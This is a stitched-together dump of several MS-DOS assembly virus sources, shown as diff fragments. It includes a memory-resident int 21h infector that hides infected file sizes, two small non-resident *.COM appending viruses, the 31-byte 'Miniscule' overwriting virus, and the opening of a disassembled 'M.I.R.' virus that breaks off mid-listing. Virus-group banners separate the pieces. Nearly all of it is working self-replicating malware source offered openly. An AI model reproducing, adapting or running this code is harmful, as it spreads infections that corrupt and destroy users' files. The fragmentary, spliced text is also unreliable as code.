||||||
|
|
||||||
|
setDTA: mov dl,80
|
||||||
|
mov ah,1A
|
||||||
|
int 21
|
||||||
|
ret
|
||||||
|
|
||||||
|
seek: mov ah,42
|
||||||
|
cwd
|
||||||
|
int21: xor cx,cx
|
||||||
|
int 21
|
||||||
|
mov cl,04
|
||||||
|
mov dx,si
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Data
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
filename db '*.COM',0
|
||||||
|
|
||||||
|
eind:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,187 @@
|
|||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
ofs:
|
||||||
|
push 100h
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
mov dx,054h-(ofs/16)
|
||||||
|
mov es,dx
|
||||||
|
mov ax,es:ofs[0]
|
||||||
|
cmp ax,ofs[0]
|
||||||
|
je to_host
|
||||||
|
|
||||||
|
lea si,ofs
|
||||||
|
mov di,si
|
||||||
|
mov cx,virlength
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov ds,es
|
||||||
|
mov ax,3521h
|
||||||
|
int 21h
|
||||||
|
mov word ptr ds:old21[0],bx
|
||||||
|
mov word ptr ds:old21[2],es
|
||||||
|
|
||||||
|
mov ax,2521h
|
||||||
|
lea dx,new21
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
to_host: pop es
|
||||||
|
pop ds
|
||||||
|
mov di,0fe00h
|
||||||
|
lea si,relocator
|
||||||
|
mov cx,rellength
|
||||||
|
rep movsb
|
||||||
|
jmp 0fe00h
|
||||||
|
|
||||||
|
old21 dd 0
|
||||||
|
|
||||||
|
relocator:
|
||||||
|
mov di,100h
|
||||||
|
orgofs: lea si,orgp
|
||||||
|
mov cx,virlength
|
||||||
|
rep movsb
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
rellength equ $-relocator
|
||||||
|
|
||||||
|
new21:
|
||||||
|
cmp ah,11h
|
||||||
|
je findfcb
|
||||||
|
cmp ah,12h
|
||||||
|
je findfcb
|
||||||
|
cmp ah,4eh
|
||||||
|
je find
|
||||||
|
cmp ah,4fh
|
||||||
|
je find
|
||||||
|
cmp ax,4b00h
|
||||||
|
je exec
|
||||||
|
|
||||||
|
jmp short dword ptr cs:[old21]
|
||||||
|
|
||||||
|
getdta:
|
||||||
|
pop si
|
||||||
|
pushf
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
mov ah,2fh
|
||||||
|
call dos
|
||||||
|
jmp short si
|
||||||
|
|
||||||
|
FindFCB: call DOS ; call orginal interrupt
|
||||||
|
cmp al,0 ; error ?
|
||||||
|
jne Ret1
|
||||||
|
call getdta
|
||||||
|
cmp byte ptr es:[bx],-1 ; extended fcb ?
|
||||||
|
jne FCBOk
|
||||||
|
add bx,8 ; yes, skip 8 bytes
|
||||||
|
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
|
||||||
|
and al,1fh ; seconds
|
||||||
|
cmp al,1fh ; 62 seconds ?
|
||||||
|
jne FileOk ; no, file not infected
|
||||||
|
sub word ptr es:[bx+1ch],Virlength ; adjust file-size
|
||||||
|
sbb word ptr es:[bx+1eh],0
|
||||||
|
jmp short Time
|
||||||
|
|
||||||
|
Find: call DOS
|
||||||
|
jc Ret1
|
||||||
|
call getdta
|
||||||
|
mov al,es:[bx+16h]
|
||||||
|
and al,1fh
|
||||||
|
cmp al,1fh
|
||||||
|
jne FileOk
|
||||||
|
sub word ptr es:[bx+1ah],VirLength
|
||||||
|
sbb word ptr es:[bx+1ch],0
|
||||||
|
Time: xor byte ptr es:[bx+16h],10h
|
||||||
|
FileOk: pop es
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
popf
|
||||||
|
Ret1: retf 2
|
||||||
|
|
||||||
|
exec: push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
mov ax,3d02h
|
||||||
|
call dos
|
||||||
|
mov bx,0bc00h
|
||||||
|
mov ds,bx
|
||||||
|
mov bh,3fh
|
||||||
|
xchg ax,bx
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,virlength
|
||||||
|
call dos
|
||||||
|
cmp word ptr ds:[0],'ZM'
|
||||||
|
je exe
|
||||||
|
cmp word ptr ds:[0],0068h ; push 100
|
||||||
|
jne noexe
|
||||||
|
exe: mov ah,3eh
|
||||||
|
call dos
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
jmp short dword ptr cs:[old21]
|
||||||
|
|
||||||
|
noexe: mov ax,4202h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
call dos
|
||||||
|
cmp ax,0fd00h
|
||||||
|
jae exe
|
||||||
|
cmp ax,virlength+10
|
||||||
|
jb exe
|
||||||
|
inc ah
|
||||||
|
mov word ptr cs:orgofs[1],ax
|
||||||
|
|
||||||
|
mov ax,5700h
|
||||||
|
call dos
|
||||||
|
or cx,1fh
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,virlength
|
||||||
|
push cx
|
||||||
|
call dos
|
||||||
|
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
call dos
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
mov ds,cs
|
||||||
|
lea dx,ofs
|
||||||
|
pop cx
|
||||||
|
call dos
|
||||||
|
mov ax,5701h
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
call dos
|
||||||
|
|
||||||
|
jmp short exe
|
||||||
|
|
||||||
|
dos: pushf
|
||||||
|
call dword ptr cs:[old21]
|
||||||
|
ret
|
||||||
|
|
||||||
|
virlength equ $-ofs
|
||||||
|
|
||||||
|
orgp: int 20h
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Mini non-resident virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ end - start
|
||||||
|
FILNAM equ 55h
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Dummy program (infected)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: db 0E9, 3, 0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Begin of the virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
|
||||||
|
start: db 0CDh, 20h, 90
|
||||||
|
|
||||||
|
push si ;si=0100
|
||||||
|
|
||||||
|
mov di,si
|
||||||
|
add si,[si+1] ;si=0103
|
||||||
|
push si
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
pop si ;si -> start (buffer)
|
||||||
|
|
||||||
|
lea dx,[si+FILNAM] ;dx -> filename
|
||||||
|
mov ah,4Eh ;find first file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov dx,009Eh
|
||||||
|
mov ax,3D02h ;open the file
|
||||||
|
call int21
|
||||||
|
jc exit1
|
||||||
|
xchg bx,ax
|
||||||
|
|
||||||
|
mov ah,3fh ;read begin of file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
cmp byte ptr [si],0E9h ;infected COM?
|
||||||
|
je exit2
|
||||||
|
|
||||||
|
mov al,2 ;go to end of file
|
||||||
|
call seek
|
||||||
|
xchg ax,di
|
||||||
|
|
||||||
|
mov cl, low FILELEN ;write program to end of file
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov al,0
|
||||||
|
call seek
|
||||||
|
mov byte ptr [si], 0E9h
|
||||||
|
mov word ptr [si+1], di
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit2: mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit1: ret
|
||||||
|
|
||||||
|
seek: mov ah,42
|
||||||
|
cwd
|
||||||
|
int21: xor cx,cx
|
||||||
|
int 21
|
||||||
|
mov cl,03
|
||||||
|
mov dx,si
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Data
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
filename db '*.COM',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Mini non-resident virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ end - start
|
||||||
|
FILNAM equ 5C
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Dummy program (infected)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: db 4Dh
|
||||||
|
db 0E9, 4, 0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Begin of the virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
|
||||||
|
start: db 0CDh, 20h, 0, 0
|
||||||
|
|
||||||
|
push si ;si=0100
|
||||||
|
|
||||||
|
mov di,si
|
||||||
|
add si,[si+2] ;si=0104
|
||||||
|
push si
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
pop si ;si -> start (buffer)
|
||||||
|
|
||||||
|
lea dx,[si+FILNAM] ;dx -> filename
|
||||||
|
mov ah,4Eh ;find first file
|
||||||
|
infloop: int 21
|
||||||
|
jc return
|
||||||
|
|
||||||
|
mov dx,009Eh
|
||||||
|
mov ax,3D02h ;open the file
|
||||||
|
call int21
|
||||||
|
jc exit1
|
||||||
|
xchg bx,ax
|
||||||
|
|
||||||
|
mov ah,3fh ;read begin of file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||||
|
je exit2
|
||||||
|
|
||||||
|
mov al,2 ;go to end of file
|
||||||
|
call seek
|
||||||
|
xchg ax,di
|
||||||
|
|
||||||
|
mov cl,low FILELEN ;write program to end of file
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov al,0
|
||||||
|
call seek
|
||||||
|
mov word ptr [si],0E94Dh
|
||||||
|
mov word ptr [si+2],di
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit2: mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit1: mov ah,4Fh ;find next file
|
||||||
|
jmp short infloop
|
||||||
|
|
||||||
|
seek: mov ah,42
|
||||||
|
cwd
|
||||||
|
int21: xor cx,cx
|
||||||
|
int 21
|
||||||
|
mov cl,04
|
||||||
|
mov dx,si
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Data
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
filename db '*.COM',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Mini non-resident virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ end - start
|
||||||
|
FILNAM equ 5Dh
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Dummy program (infected)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: db 4Dh
|
||||||
|
db 0E9, 4, 0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Begin of the virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
|
||||||
|
start: db 0CDh, 20h, 0, 0
|
||||||
|
|
||||||
|
push si ;si=0100
|
||||||
|
|
||||||
|
mov di,si
|
||||||
|
add si,[si+2] ;si=0104
|
||||||
|
push si
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
pop si ;si -> start (buffer)
|
||||||
|
|
||||||
|
lea dx,[si+FILNAM] ;dx -> filename
|
||||||
|
mov ah,4Eh ;find first file
|
||||||
|
infloop: int 21
|
||||||
|
jc return
|
||||||
|
|
||||||
|
mov dx,009Eh
|
||||||
|
mov ax,3D02h ;open the file
|
||||||
|
call int21
|
||||||
|
jc exit1
|
||||||
|
xchg bx,ax
|
||||||
|
|
||||||
|
mov ah,3fh ;read begin of file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||||
|
je exit2
|
||||||
|
|
||||||
|
mov al,2 ;go to end of file
|
||||||
|
call seek
|
||||||
|
xchg ax,di
|
||||||
|
|
||||||
|
mov cx,FILELEN ;write program to end of file
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov al,0
|
||||||
|
call seek
|
||||||
|
mov word ptr [si],0E94Dh
|
||||||
|
mov word ptr [si+2],di
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit2: mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit1: mov ah,4Fh ;find next file
|
||||||
|
jmp short infloop
|
||||||
|
|
||||||
|
seek: mov ah,42
|
||||||
|
cwd
|
||||||
|
int21: xor cx,cx
|
||||||
|
int 21
|
||||||
|
mov cl,04
|
||||||
|
mov dx,si
|
||||||
|
|
||||||
|
return: ret
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Data
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
filename db '*.COM',0
|
||||||
|
|
||||||
|
end:
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
; Miniscule: the world's smallest generic virus (only 31 bytes long!)
|
||||||
|
; (C) 1992 Nowhere Man and [NuKE] WaReZ
|
||||||
|
; Written on January 22, 1991
|
||||||
|
|
||||||
|
code segment 'CODE'
|
||||||
|
assume cs:code,ds:code,es:code,ss:code
|
||||||
|
|
||||||
|
org 0100h
|
||||||
|
|
||||||
|
main proc near
|
||||||
|
|
||||||
|
|
||||||
|
; Find the name of the first file and return it in the DTA. No checking
|
||||||
|
; is done for previous infections, and ANY file (except directory "files")
|
||||||
|
; will be infected, including data, texts, etc. So either a file is corrupted
|
||||||
|
; (in the case of data or text) or infected (.EXE and .COM files). Files that
|
||||||
|
; have the read-only flag set are immune to Miniscule.
|
||||||
|
|
||||||
|
mov ah,04Eh ; DOS find first file function
|
||||||
|
mov cl,020h ; CX holds attribute mask
|
||||||
|
mov dx,offset star_dot_com ; DX points to the file mask
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
|
||||||
|
; Open the file that we've found for writing only and put the handle into
|
||||||
|
; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
|
||||||
|
; require it to be in AX, so we have to move it).
|
||||||
|
|
||||||
|
mov ax,03D01h ; DOS open file function, w/o
|
||||||
|
mov dx,009Eh ; DX points to the found file
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
xchg bx,ax ; BX holds the file handle
|
||||||
|
|
||||||
|
|
||||||
|
; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the
|
||||||
|
; virus) are written into the beginning of the victim. No attempt is made
|
||||||
|
; to preserve the victim's executability. This also destroys the file's date
|
||||||
|
; and time, making Miniscule's activity painfully obvious. Also, if the
|
||||||
|
; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
|
||||||
|
|
||||||
|
mov ah,040h ; DOS write to file function
|
||||||
|
dec cx ; CX now holds 01Fh (length)
|
||||||
|
mov dx,offset main ; DX points to start of code
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
|
||||||
|
; Exit. I chose to use a RET statement here to save one byte (RET is one byte
|
||||||
|
; long, INT 020h is two), so don't try to compile this as an .EXE file; it
|
||||||
|
; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED
|
||||||
|
; .EXE programs will run successfully (unless they are larger than 64k, in
|
||||||
|
; which case DOS will refuse to run it.
|
||||||
|
|
||||||
|
ret ; RETurn to DOS
|
||||||
|
main endp
|
||||||
|
|
||||||
|
|
||||||
|
; The only data required in this program, and it's only four bytes long. This
|
||||||
|
; is the file mask that the DOS find first file function will use when
|
||||||
|
; searching. Do not change this to .EXE (or whatever) because this virus
|
||||||
|
; is size dependent (if you know what you're doing, go ahead [at you're own
|
||||||
|
; risk]).
|
||||||
|
|
||||||
|
star_dot_com db "*.*",0 ; File search mask
|
||||||
|
|
||||||
|
finish label near
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end main
|
||||||
|
|
||||||
|
; There you have it: thirty-one bytes of pure terror -- NOT! As you can
|
||||||
|
; pretty well guess, this virus is very lame. Due to its poor reproduction,
|
||||||
|
; it is hardly a threat (hitting one file, if you're lucky), but it works,
|
||||||
|
; and it fits the definition of a virus. There is no way to make this code
|
||||||
|
; any smaller (at least under MS-DOS), except if you made it only infect
|
||||||
|
; one specific file (and the file would have to have a one- or two-byte name,
|
||||||
|
; too), and that would be next to useless.
|
||||||
@@ -0,0 +1,830 @@
|
|||||||
|
; File: MIR.COM
|
||||||
|
; File Type: COM
|
||||||
|
; Processor: 8086/87/88
|
||||||
|
; Range: 00100h to 007d3h
|
||||||
|
; Memory Needed: 2 Kb
|
||||||
|
; Initial Stack: 0000:fffe
|
||||||
|
; Entry Point: 0000:0100
|
||||||
|
; Subroutines: 11
|
||||||
|
|
||||||
|
.radix 16
|
||||||
|
cseg segment para public 'CODE'
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
org 0100h
|
||||||
|
; >>>> starts execution here <<<<
|
||||||
|
o00100 proc far
|
||||||
|
;-----------------------------------------------------
|
||||||
|
o00100 db 'M.' ;0000:0100
|
||||||
|
d00102 db 'I.R.' ;0000:0102
|
||||||
|
d00106 db ' *-*-*-* Sign of the ' ;0000:0106
|
||||||
|
db 'time!' ;0000:011b
|
||||||
|
db 00 ;0000:0120 .
|
||||||
|
;-----------------------------------------------------
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
pop dx
|
||||||
|
m00126: mov bx,es
|
||||||
|
add bx,10h
|
||||||
|
add bx,WORD PTR cs:[si+06c8h]
|
||||||
|
mov WORD PTR cs:[si+0053h],bx
|
||||||
|
mov bx,WORD PTR cs:[si+06c6h]
|
||||||
|
mov WORD PTR cs:[si+0051h],bx
|
||||||
|
mov bx,es
|
||||||
|
add bx,10h
|
||||||
|
add bx,WORD PTR cs:[si+06cch]
|
||||||
|
mov ss,bx
|
||||||
|
mov sp,WORD PTR cs:[si+06cah]
|
||||||
|
jmp 0000:0000
|
||||||
|
m00155: mov di,0100h
|
||||||
|
add si,06ceh
|
||||||
|
movsb ;Mov DS:[SI]->ES:[DI]
|
||||||
|
movsw ;Mov DS:[SI]->ES:[DI]
|
||||||
|
mov sp,WORD PTR [d00006]
|
||||||
|
xor bx,bx ;Load register w/ 0
|
||||||
|
push bx
|
||||||
|
jmp WORD PTR [si-0bh]
|
||||||
|
call s1 ;<0016b>
|
||||||
|
o00100 endp
|
||||||
|
|
||||||
|
;<0016b>
|
||||||
|
s1 proc near
|
||||||
|
pop si
|
||||||
|
sub si,006bh
|
||||||
|
cld ;Forward String Opers
|
||||||
|
nop
|
||||||
|
cmp WORD PTR cs:[si+06ceh],5a4dh
|
||||||
|
jz b0018b ;Jump if equal (ZF=1)
|
||||||
|
cli ;Turn OFF Interrupts
|
||||||
|
nop
|
||||||
|
mov sp,si
|
||||||
|
add sp,07d1h
|
||||||
|
sti ;Turn ON Interrupts
|
||||||
|
nop
|
||||||
|
cmp sp,WORD PTR [d00006]
|
||||||
|
jnb m00155 ;Jump if >= (no sign)
|
||||||
|
b0018b: push ax
|
||||||
|
push es
|
||||||
|
nop
|
||||||
|
push si
|
||||||
|
push ds
|
||||||
|
mov di,si
|
||||||
|
xor ax,ax ;Load register w/ 0
|
||||||
|
nop
|
||||||
|
push ax
|
||||||
|
mov ds,ax
|
||||||
|
les ax,DWORD PTR [d0004c]
|
||||||
|
nop
|
||||||
|
mov WORD PTR cs:[si+06bdh],ax
|
||||||
|
mov WORD PTR cs:[si+06bfh],es
|
||||||
|
mov WORD PTR cs:[si+06b8h],ax
|
||||||
|
nop
|
||||||
|
mov WORD PTR cs:[si+06bah],es
|
||||||
|
mov ax,WORD PTR [d00102]
|
||||||
|
cmp ax,0f000h
|
||||||
|
nop
|
||||||
|
jnz b00235 ;Jump not equal(ZF=0)
|
||||||
|
mov WORD PTR cs:[si+06bah],ax
|
||||||
|
mov ax,WORD PTR [o00100]
|
||||||
|
mov WORD PTR cs:[si+06b8h],ax
|
||||||
|
nop
|
||||||
|
mov dl,80h
|
||||||
|
mov ax,WORD PTR [d00106]
|
||||||
|
cmp ax,0f000h
|
||||||
|
jz b001f2 ;Jump if equal (ZF=1)
|
||||||
|
nop
|
||||||
|
cmp ah,0c8h
|
||||||
|
jb b00235 ;Jump if < (no sign)
|
||||||
|
cmp ah,0f4h
|
||||||
|
jnb b00235 ;Jump if >= (no sign)
|
||||||
|
nop
|
||||||
|
test al,7fh ;Flags=Arg1 AND Arg2
|
||||||
|
jnz b00235 ;Jump not equal(ZF=0)
|
||||||
|
mov ds,ax
|
||||||
|
cmp WORD PTR [d00000],0aa55h
|
||||||
|
nop
|
||||||
|
jnz b00235 ;Jump not equal(ZF=0)
|
||||||
|
mov dl,BYTE PTR [d00002]
|
||||||
|
b001f2: mov ds,ax
|
||||||
|
xor dh,dh ;Load register w/ 0
|
||||||
|
mov cl,09
|
||||||
|
shl dx,cl ;Multiply by 2's
|
||||||
|
mov cx,dx
|
||||||
|
xor si,si ;Load register w/ 0
|
||||||
|
b001fe: lodsw ;Load AX with DS:[SI]
|
||||||
|
cmp ax,0fa80h
|
||||||
|
jnz b0020c ;Jump not equal(ZF=0)
|
||||||
|
lodsw ;Load AX with DS:[SI]
|
||||||
|
cmp ax,7380h
|
||||||
|
jz b00217 ;Jump if equal (ZF=1)
|
||||||
|
jnz b00221 ;Jump not equal(ZF=0)
|
||||||
|
b0020c: cmp ax,0c2f6h
|
||||||
|
jnz b00223 ;Jump not equal(ZF=0)
|
||||||
|
lodsw ;Load AX with DS:[SI]
|
||||||
|
cmp ax,7580h
|
||||||
|
jnz b00221 ;Jump not equal(ZF=0)
|
||||||
|
b00217: inc si
|
||||||
|
lodsw ;Load AX with DS:[SI]
|
||||||
|
cmp ax,40cdh
|
||||||
|
jz b00228 ;Jump if equal (ZF=1)
|
||||||
|
sub si,03
|
||||||
|
b00221: dec si
|
||||||
|
dec si
|
||||||
|
b00223: dec si
|
||||||
|
loop b001fe ;Dec CX;Loop if CX>0
|
||||||
|
jmp short b00235
|
||||||
|
b00228: sub si,07
|
||||||
|
mov WORD PTR cs:[di+06bdh],si
|
||||||
|
mov WORD PTR cs:[di+06bfh],ds
|
||||||
|
b00235: mov si,di
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
cmp ax,02fah
|
||||||
|
jnz b0025c ;Jump not equal(ZF=0)
|
||||||
|
xor di,di ;Load register w/ 0
|
||||||
|
mov cx,06b8h
|
||||||
|
b00252: lodsb ;Load AL with DS:[SI]
|
||||||
|
scasb ;Flags = AL - ES:[DI]
|
